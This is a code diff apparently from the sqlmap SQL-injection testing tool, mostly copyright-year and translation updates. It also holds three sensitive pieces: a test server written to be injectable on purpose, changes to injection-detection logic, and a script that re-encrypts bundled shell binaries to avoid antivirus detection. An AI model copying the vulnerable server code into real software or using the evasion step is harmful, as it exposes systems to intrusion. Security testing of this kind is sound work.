  Copyright (C) 2002-2003, Michael D. Stenner.
 * The `MultipartPost` library located under `thirdparty/multipart/`.
  Copyright (C) 2006, Will Holcomb.
 * The `XDot` library located under `thirdparty/xdot/`
  Copyright (C) 2008, Jose Fonseca.
 * The `icmpsh` tool located under `extra/icmpsh/`.
  Copyright (C) 2010, Nico Leidecker, Bernardo Damele.
@@ -277,7 +273,7 @@ be bound by the terms and conditions of this License Agreement.
 * The `bottle` web framework library located under `thirdparty/bottle/`.
  Copyright (C) 2012, Marcel Hellkamp.
 * The `identYwaf` library located under `thirdparty/identywaf/`.
-  Copyright (C) 2019, Miroslav Stampar.
+  Copyright (C) 2019-2020, Miroslav Stampar.
 * The `ordereddict` library located under `thirdparty/odict/`.
  Copyright (C) 2009, Raymond Hettinger.
 * The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`.
--- a/doc/translations/README-fr-FR.md
+++ b/doc/translations/README-fr-FR.md
@@ -32,7 +32,7 @@ Pour afficher une liste complète des options et des commutateurs (switches), ta
    python sqlmap.py -hh
-Vous pouvez regarder un vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples.
+Vous pouvez regarder une vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples.
 Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge, la description de toutes les options, ainsi que des exemples, nous vous recommandons de consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
 Liens
--- a/doc/translations/README-id-ID.md
+++ b/doc/translations/README-id-ID.md
@@ -2,7 +2,7 @@
 [![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap)
-sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basisdata. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur hanal bagi _penetration tester_, beragam cara untuk mendeteksi basisdata, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_. 
+sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basis data. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur hanal bagi _penetration tester_, beragam cara untuk mendeteksi basis data, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_. 
 Tangkapan Layar
 ----
@@ -43,7 +43,7 @@ Tautan
 * Situs: http://sqlmap.org
 * Unduh: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) atau [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
 * RSS feed dari commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom
-* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
+* Pelacak Masalah: https://github.com/sqlmapproject/sqlmap/issues
 * Wiki Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki
 * Pertanyaan yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
 * Twitter: [@sqlmap](https://twitter.com/sqlmap)
--- a/doc/translations/README-pt-BR.md
+++ b/doc/translations/README-pt-BR.md
@@ -14,8 +14,7 @@ Você pode visitar a [coleção de imagens](https://github.com/sqlmapproject/sql
 Instalação
 ----
-Você pode baixar o arquivo tar mais recente clicando [aqui]
+Você pode baixar o arquivo tar mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/tarball/master) ou o arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master).
 (https://github.com/sqlmapproject/sqlmap/tarball/master) ou o arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master).
 De preferência, você pode baixar o sqlmap clonando o repositório [Git](https://github.com/sqlmapproject/sqlmap):
--- a/doc/translations/README-vi-VN.md
+++ b/doc/translations/README-vi-VN.md
@@ -0,0 +1,53 @@
 # sqlmap ![](https://i.imgur.com/fe85aVR.png)
 [![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap)
 sqlmap là một công cụ kiểm tra thâm nhập mã nguồn mở, nhằm tự động hóa quá trình phát hiện, khai thác lỗ hổng tiêm SQL và tiếp quản các máy chủ cơ sở dữ liệu. Nó đi kèm với 
 một hệ thống phát hiện mạnh mẽ, nhiều tính năng thích hợp cho người kiểm tra thâm nhập và một loạt các tùy chọn bao gồm lấy dấu cơ sở dữ liệu, truy xuất dữ liệu từ cơ sở dữ 
 liệu, truy cập tệp của hệ thống và thực hiện các lệnh trên hệ điều hành thông qua kết nối ngoài.
 Ảnh chụp màn hình
 ----
 ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
 Bạn có thể truy cập vào [bộ sưu tập ảnh chụp màn hình](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), chúng trình bày một số tính năng trên wiki.
 Cài đặt
 ----
 Bạn có thể tải xuống tập tin nén tar mới nhất bằng cách nhấp vào [đây](https://github.com/sqlmapproject/sqlmap/tarball/master) hoặc tập tin nén zip mới nhất bằng cách nhấp vào [đây](https://github.com/sqlmapproject/sqlmap/zipball/master).
 Tốt hơn là bạn có thể tải xuống sqlmap bằng cách clone với [Git](https://github.com/sqlmapproject/sqlmap):
    git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
 sqlmap hoạt động hiệu quả với [Python](http://www.python.org/download/) phiên bản **2.6**, **2.7** và **3.x** trên bất kì nền tảng nào.
 Sử dụng
 ----
 Để có được danh sách các tùy chọn cơ bản, hãy sử dụng:
    python sqlmap.py -h
 Để có được danh sách tất cả các tùy chọn, hãy sử dụng:
    python sqlmap.py -hh
 Bạn có thể tìm thấy video chạy mẫu [tại đây](https://asciinema.org/a/46601).
 Để có cái nhìn tổng quan về các khả năng của sqlmap, danh sách các tính năng được hỗ trợ và mô tả về tất cả các tùy chọn, cùng với các ví dụ, bạn nên tham khảo [hướng dẫn sử dụng](https://github.com/sqlmapproject/sqlmap/wiki/Usage) (Tiếng Anh).
 Liên kết
 ----
 * Trang chủ: http://sqlmap.org
 * Tải xuống: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) hoặc [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
 * Lịch sử thay nguồn đổi cấp dữ liệu RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom
 * Theo dõi vấn đề: https://github.com/sqlmapproject/sqlmap/issues
 * Hướng dẫn sử dụng: https://github.com/sqlmapproject/sqlmap/wiki
 * Các câu hỏi thường gặp (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
 * Twitter: [@sqlmap](https://twitter.com/sqlmap)
 * Demo: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
 * Ảnh chụp màn hình: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
--- a/extra/init.py
+++ b/extra/init.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 """
-Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
--- a/extra/beep/init.py
+++ b/extra/beep/init.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 """
-Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
--- a/extra/beep/beep.py
+++ b/extra/beep/beep.py
@@ -3,7 +3,7 @@
 """
 beep.py - Make a beep sound
-Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
--- a/extra/cloak/init.py
+++ b/extra/cloak/init.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 """
-Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
--- a/extra/cloak/cloak.py
+++ b/extra/cloak/cloak.py
@@ -3,7 +3,7 @@
 """
 cloak.py - Simple file encryption/compression utility
-Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
@@ -21,7 +21,7 @@ if sys.version_info >= (3, 0):
    xrange = range
    ord = lambda _: _
-KEY = b"Beeth7hoyooleeF0"
+KEY = b"ENWsCymUeJcXqSbD"
 def xor(message, key):
    return b"".join(struct.pack('B', ord(message[i]) ^ ord(key[i % len(key)])) for i in range(len(message)))
--- a/extra/dbgtool/init.py
+++ b/extra/dbgtool/init.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 """
-Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
--- a/extra/dbgtool/dbgtool.py
+++ b/extra/dbgtool/dbgtool.py
@@ -3,7 +3,7 @@
 """
 dbgtool.py - Portable executable to ASCII debug script converter
-Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
--- a/extra/icmpsh/icmpsh.exe_
+++ b/extra/icmpsh/icmpsh.exe_
--- a/extra/runcmd/runcmd.exe_
+++ b/extra/runcmd/runcmd.exe_
--- a/extra/shellcodeexec/windows/shellcodeexec.x32.exe_
+++ b/extra/shellcodeexec/windows/shellcodeexec.x32.exe_
--- a/extra/shutils/blanks.sh
+++ b/extra/shutils/blanks.sh
@@ -1,6 +1,6 @@
 #!/bin/bash
-# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 # Removes trailing spaces from blank lines inside project files
--- a/extra/shutils/drei.sh
+++ b/extra/shutils/drei.sh
@@ -1,13 +1,13 @@
 #!/bin/bash
-# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 # Stress test against Python3
 export SQLMAP_DREI=1
 #for i in $(find . -iname "*.py" | grep -v __init__); do python3 -c 'import '`echo $i | cut -d '.' -f 2 | cut -d '/' -f 2- | sed 's/\//./g'`''; done
-for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3.7 -m compileall $i | sed 's/Compiling/Checking/g'; done
+for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3 -m compileall $i | sed 's/Compiling/Checking/g'; done
 unset SQLMAP_DREI
 source `dirname "$0"`"/junk.sh"
--- a/extra/shutils/duplicates.py
+++ b/extra/shutils/duplicates.py
@@ -1,6 +1,6 @@
 #!/usr/bin/env python
-# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 # Removes duplicate entries in wordlist like files
--- a/extra/shutils/junk.sh
+++ b/extra/shutils/junk.sh
@@ -1,6 +1,6 @@
 #!/bin/bash
-# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 find . -type d -name "__pycache__" -exec rm -rf {} \; &>/dev/null
--- a/extra/shutils/modernize.sh
+++ b/extra/shutils/modernize.sh
@@ -1,6 +1,6 @@
 #!/bin/bash
-# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 # sudo pip install modernize
--- a/extra/shutils/pycodestyle.sh
+++ b/extra/shutils/pycodestyle.sh
@@ -1,6 +1,6 @@
 #!/bin/bash
-# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 # Runs pycodestyle on all python files (prerequisite: pip install pycodestyle)
--- a/extra/shutils/pydiatra.sh
+++ b/extra/shutils/pydiatra.sh
@@ -1,7 +1,7 @@
 #!/bin/bash
-# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
-# Runs py2diatra on all python files (prerequisite: pip install pydiatra)
+# Runs py3diatra on all python files (prerequisite: pip install pydiatra)
-find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec py2diatra '{}' \; | grep -v bare-except
+find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec py3diatra '{}' \; | grep -v bare-except
--- a/extra/shutils/pyflakes.sh
+++ b/extra/shutils/pyflakes.sh
@@ -1,6 +1,6 @@
 #!/bin/bash
-# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 # Runs pyflakes on all python files (prerequisite: apt-get install pyflakes)
--- a/extra/shutils/pylint.sh
+++ b/extra/shutils/pylint.sh
@@ -0,0 +1,6 @@
 #!/bin/bash
 # Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pylint --rcfile=./.pylintrc '{}' \;
--- a/extra/shutils/pypi.sh
+++ b/extra/shutils/pypi.sh
@@ -16,7 +16,7 @@ cat > $TMP_DIR/setup.py << EOF
 #!/usr/bin/env python
 """
-Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
@@ -67,7 +67,7 @@ cat > sqlmap/__init__.py << EOF
 #!/usr/bin/env python
 """
-Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
--- a/extra/shutils/recloak.sh
+++ b/extra/shutils/recloak.sh
@@ -0,0 +1,16 @@
 #!/bin/bash
 # NOTE: this script is for dev usage after AV something something
 DIR=$(cd -P -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd -P)
 cd $DIR/../..
 for file in $(find -regex ".*\.[a-z]*_" -type f | grep -v wordlist); do python extra/cloak/cloak.py -d -i $file; done
 cd $DIR/../cloak
 sed -i 's/KEY = .*/KEY = b"'`python -c 'import random; import string; print("".join(random.sample(string.ascii_letters + string.digits, 16)))'`'"/g' cloak.py
 cd $DIR/../..
 for file in $(find -regex ".*\.[a-z]*_" -type f | grep -v wordlist); do python extra/cloak/cloak.py -i `echo $file | sed 's/_$//g'`; done
 git clean -f > /dev/null
--- a/extra/vulnserver/init.py
+++ b/extra/vulnserver/init.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 """
-Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
--- a/extra/vulnserver/vulnserver.py
+++ b/extra/vulnserver/vulnserver.py
@@ -3,12 +3,13 @@
 """
 vulnserver.py - Trivial SQLi vulnerable HTTP server (Note: for testing purposes)
-Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 from __future__ import print_function
 import base64
 import json
 import re
 import sqlite3
@@ -97,6 +98,7 @@ class ReqHandler(BaseHTTPRequestHandler):
            if "<script>" in unquote_plus(query):
                self.send_response(INTERNAL_SERVER_ERROR)
                self.send_header("X-Powered-By", "Express")
                self.send_header("Connection", "close")
                self.end_headers()
                self.wfile.write("CLOUDFLARE_ERROR_500S_BOX".encode(UNICODE_ENCODING))
@@ -127,7 +129,6 @@ class ReqHandler(BaseHTTPRequestHandler):
        self.url, self.params = path, params
        if self.url == '/':
            if not any(_ in self.params for _ in ("id", "query")):
                self.send_response(OK)
                self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
@@ -138,19 +139,28 @@ class ReqHandler(BaseHTTPRequestHandler):
                code, output = OK, ""
                try:
                    if self.params.get("echo", ""):
                        output += "%s<br>" % self.params["echo"]
                    if self.params.get("reflect", ""):
                        output += "%s<br>" % self.params.get("id")
                    with _lock:
                        if "query" in self.params:
                            _cursor.execute(self.params["query"])
                        elif "id" in self.params:
                            if "base64" in self.params:
                                _cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % base64.b64decode("%s===" % self.params["id"], altchars=self.params.get("altchars")).decode())
                            else:
                                _cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"])
                        results = _cursor.fetchall()
                    output += "<b>SQL results:</b><br>\n"
                    if self.params.get("code", ""):
                        if not results:
                            code = INTERNAL_SERVER_ERROR
                    else:
                        if results:
                            output += "<table border=\"1\">\n"
@@ -189,7 +199,7 @@ class ReqHandler(BaseHTTPRequestHandler):
        self.do_REQUEST()
    def do_PUT(self):
-        self.do_REQUEST()
+        self.do_POST()
    def do_HEAD(self):
        self.do_REQUEST()
--- a/lib/init.py
+++ b/lib/init.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 """
-Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
--- a/lib/controller/init.py
+++ b/lib/controller/init.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 """
-Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
--- a/lib/controller/action.py
+++ b/lib/controller/action.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 """
-Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
--- a/lib/controller/checks.py
+++ b/lib/controller/checks.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 """
-Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
@@ -30,6 +30,7 @@ from lib.core.common import getSortedInjectionTests
 from lib.core.common import hashDBRetrieve
 from lib.core.common import hashDBWrite
 from lib.core.common import intersect
 from lib.core.common import isDigit
 from lib.core.common import joinValue
 from lib.core.common import listToStrValue
 from lib.core.common import parseFilePaths
@@ -117,7 +118,7 @@ def checkSqlInjection(place, parameter, value):
    threadData = getCurrentThreadData()
    # Favoring non-string specific boundaries in case of digit-like parameter values
-    if value.isdigit():
+    if isDigit(value):
        kb.cache.intBoundaries = kb.cache.intBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: any(_ in (boundary.prefix or "") or _ in (boundary.suffix or "") for _ in ('"', '\'')))
        boundaries = kb.cache.intBoundaries
    elif value.isalpha():
@@ -156,6 +157,7 @@ def checkSqlInjection(place, parameter, value):
                # error message, simple heuristic check or via DBMS-specific
                # payload), ask the user to limit the tests to the fingerprinted
                # DBMS
                if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
                    msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/'))
                    msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
@@ -226,8 +228,8 @@ def checkSqlInjection(place, parameter, value):
            # Skip test if the user's wants to test only for a specific
            # technique
            if conf.technique and isinstance(conf.technique, list) and stype not in conf.technique:
-                debugMsg = "skipping test '%s' because the user " % title
+                debugMsg = "skipping test '%s' because user " % title
-                debugMsg += "specified to test only for "
+                debugMsg += "specified testing of only "
                debugMsg += "%s techniques" % " & ".join(PAYLOAD.SQLINJECTION[_] for _ in conf.technique)
                logger.debug(debugMsg)
                continue
@@ -501,6 +503,7 @@ def checkSqlInjection(place, parameter, value):
                            # Useful to set kb.matchRatio at first based on False response content
                            kb.matchRatio = None
                            kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE)
                            suggestion = None
                            Request.queryPage(genCmpPayload(), place, raise404=False)
                            falsePage, falseHeaders, falseCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
                            falseRawResponse = "%s%s" % (falseHeaders, falsePage)
@@ -526,7 +529,7 @@ def checkSqlInjection(place, parameter, value):
                            truePage, trueHeaders, trueCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
                            trueRawResponse = "%s%s" % (trueHeaders, truePage)
-                            if trueResult and not(truePage == falsePage and not kb.nullConnection):
+                            if trueResult and not(truePage == falsePage and not any((kb.nullConnection, conf.code))):
                                # Perform the test's False request
                                falseResult = Request.queryPage(genCmpPayload(), place, raise404=False)
@@ -568,7 +571,7 @@ def checkSqlInjection(place, parameter, value):
                                            candidates = sorted(candidates, key=len)
                                            for candidate in candidates:
                                                if re.match(r"\A[\w.,! ]+\Z", candidate) and ' ' in candidate and candidate.strip() and len(candidate) > CANDIDATE_SENTENCE_MIN_LENGTH:
-                                                    conf.string = candidate
+                                                    suggestion = conf.string = candidate
                                                    injectable = True
                                                    infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'"))
@@ -579,7 +582,7 @@ def checkSqlInjection(place, parameter, value):
                            if injectable:
                                if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
                                    if all((falseCode, trueCode)) and falseCode != trueCode:
-                                        conf.code = trueCode
+                                        suggestion = conf.code = trueCode
                                        infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --code=%d)" % ("%s " % paramType if paramType != parameter else "", parameter, title, conf.code)
                                        logger.info(infoMsg)
@@ -604,7 +607,7 @@ def checkSqlInjection(place, parameter, value):
                                                if re.match(r"\A\w{2,}\Z", candidate):  # Note: length of 1 (e.g. --string=5) could cause trouble, especially in error message pages with partially reflected payload content
                                                    break
-                                            conf.string = candidate
+                                            suggestion = conf.string = candidate
                                            infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'"))
                                            logger.info(infoMsg)
@@ -618,12 +621,12 @@ def checkSqlInjection(place, parameter, value):
                                                    if re.match(r"\A\w+\Z", candidate):
                                                        break
-                                                conf.notString = candidate
+                                                suggestion = conf.notString = candidate
                                                infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --not-string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.notString).lstrip('u').strip("'"))
                                                logger.info(infoMsg)
-                                if not any((conf.string, conf.notString, conf.code)):
+                                if not suggestion:
                                    infoMsg = "%sparameter '%s' appears to be '%s' injectable " % ("%s " % paramType if paramType != parameter else "", parameter, title)
                                    singleTimeLogMessage(infoMsg)
@@ -650,7 +653,7 @@ def checkSqlInjection(place, parameter, value):
                            except SqlmapConnectionException as ex:
                                debugMsg = "problem occurred most likely because the "
                                debugMsg += "server hasn't recovered as expected from the "
-                                debugMsg += "error-based payload used ('%s')" % getSafeExString(ex)
+                                debugMsg += "used error-based payload ('%s')" % getSafeExString(ex)
                                logger.debug(debugMsg)
                        # In case of time-based blind or stacked queries
@@ -854,7 +857,9 @@ def checkSqlInjection(place, parameter, value):
            logger.warn(warnMsg)
        if not checkFalsePositives(injection):
            if conf.hostname in kb.vulnHosts:
                kb.vulnHosts.remove(conf.hostname)
            if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes:
                injection.notes.append(NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE)
@@ -875,8 +880,12 @@ def heuristicCheckDbms(injection):
    to identify with a simple DBMS specific boolean-based test what the DBMS
    may be
    """
    retVal = False
    if conf.skipHeuristics:
        return retVal
    pushValue(kb.injection)
    kb.injection = injection
@@ -1030,9 +1039,7 @@ def checkFilteredChars(injection):
    kb.injection = popValue()
 def heuristicCheckSqlInjection(place, parameter):
-    if kb.heavilyDynamic:
+    if conf.skipHeuristics:
        debugMsg = "heuristic check skipped because of heavy dynamicity"
        logger.debug(debugMsg)
        return None
    origValue = conf.paramDict[place][parameter]
@@ -1071,7 +1078,7 @@ def heuristicCheckSqlInjection(place, parameter):
    casting = _(page) and not _(kb.originalPage)
-    if not casting and not result and kb.dynamicParameter and origValue.isdigit():
+    if not casting and not result and kb.dynamicParameter and origValue.isdigit() and not kb.heavilyDynamic:
        randInt = int(randomInt())
        payload = "%s%s%s" % (prefix, "%d-%d" % (int(origValue) + randInt, randInt), suffix)
        payload = agent.payload(place, parameter, newValue=payload, where=PAYLOAD.WHERE.REPLACE)
@@ -1085,6 +1092,11 @@ def heuristicCheckSqlInjection(place, parameter):
    kb.heuristicTest = HEURISTIC_TEST.CASTED if casting else HEURISTIC_TEST.NEGATIVE if not result else HEURISTIC_TEST.POSITIVE
    if kb.heavilyDynamic:
        debugMsg = "heuristic check stopped because of heavy dynamicity"
        logger.debug(debugMsg)
        return kb.heuristicTest
    if casting:
        errMsg = "possible %s casting detected (e.g. '" % ("integer" if origValue.isdigit() else "type")
@@ -1126,14 +1138,22 @@ def heuristicCheckSqlInjection(place, parameter):
    paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place
-    if value.lower() in (page or "").lower():
+    # Reference: https://bugs.python.org/issue18183
    if value.upper() in (page or "").upper():
        infoMsg = "heuristic (XSS) test shows that %sparameter '%s' might be vulnerable to cross-site scripting (XSS) attacks" % ("%s " % paramType if paramType != parameter else "", parameter)
        logger.info(infoMsg)
        if conf.beep:
            beep()
    for match in re.finditer(FI_ERROR_REGEX, page or ""):
        if randStr1.lower() in match.group(0).lower():
            infoMsg = "heuristic (FI) test shows that %sparameter '%s' might be vulnerable to file inclusion (FI) attacks" % ("%s " % paramType if paramType != parameter else "", parameter)
            logger.info(infoMsg)
            if conf.beep:
                beep()
            break
    kb.disableHtmlDecoding = False
@@ -1148,7 +1168,7 @@ def checkDynParam(place, parameter, value):
    dynamicity might depend on another parameter.
    """
-    if kb.redirectChoice:
+    if kb.choices.redirect:
        return None
    kb.matchRatio = None
@@ -1249,7 +1269,7 @@ def checkStability():
    secondPage, _, _ = Request.queryPage(content=True, noteResponseTime=False, raise404=False)
-    if kb.redirectChoice:
+    if kb.choices.redirect:
        return None
    kb.pageStable = (firstPage == secondPage)
@@ -1396,11 +1416,11 @@ def checkWaf():
        value = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + DEFAULT_GET_POST_DELIMITER
        value += "%s=%s" % (randomStr(), agent.addPayloadDelimiters(payload))
-    pushValue(kb.redirectChoice)
+    pushValue(kb.choices.redirect)
    pushValue(kb.resendPostOnRedirect)
    pushValue(conf.timeout)
-    kb.redirectChoice = REDIRECTION.YES
+    kb.choices.redirect = REDIRECTION.YES
    kb.resendPostOnRedirect = False
    conf.timeout = IPS_WAF_CHECK_TIMEOUT
@@ -1413,7 +1433,7 @@ def checkWaf():
        conf.timeout = popValue()
        kb.resendPostOnRedirect = popValue()
-        kb.redirectChoice = popValue()
+        kb.choices.redirect = popValue()
    hashDBWrite(HASHDB_KEYS.CHECK_WAF_RESULT, retVal, True)
@@ -1546,7 +1566,7 @@ def checkConnection(suppressOutput=False):
        else:
            kb.errorIsNone = True
-        if kb.redirectChoice == REDIRECTION.YES and threadData.lastRedirectURL and threadData.lastRedirectURL[0] == threadData.lastRequestUID:
